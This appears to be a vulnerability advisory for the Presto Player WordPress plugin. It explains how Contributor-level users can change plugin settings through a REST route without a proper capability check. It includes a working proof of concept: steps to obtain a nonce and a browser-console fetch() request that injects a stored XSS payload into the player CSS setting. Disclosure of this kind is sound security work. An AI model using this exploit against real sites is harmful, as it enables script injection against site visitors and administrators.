Description The plugin does not have proper capability check when updating its settings via a REST route, allowing Contributor and above users to update them. Furthermore, due to the lack of escaping in one of the settings, this also allows them to perform Stored XSS attacks
As a contributor, get a REST nonce by opening https://example.com/wp-admin/admin-ajax.php?action=rest-nonce (when being logged in)
Then run the below command in the developer console of the web browser (still while being logged in as a contributor, and having put the nonce retrieved)
fetch("/wp-json/presto-player/v1/settings", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"method": "POST",
"body": 'presto_player_branding[player_css]=123"onmouseover=alert(/XSS/)//&_wpnonce=<NONCE>',
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
The XSS will be triggered in all pages when the Audio player is embed and the mouse is moved over it.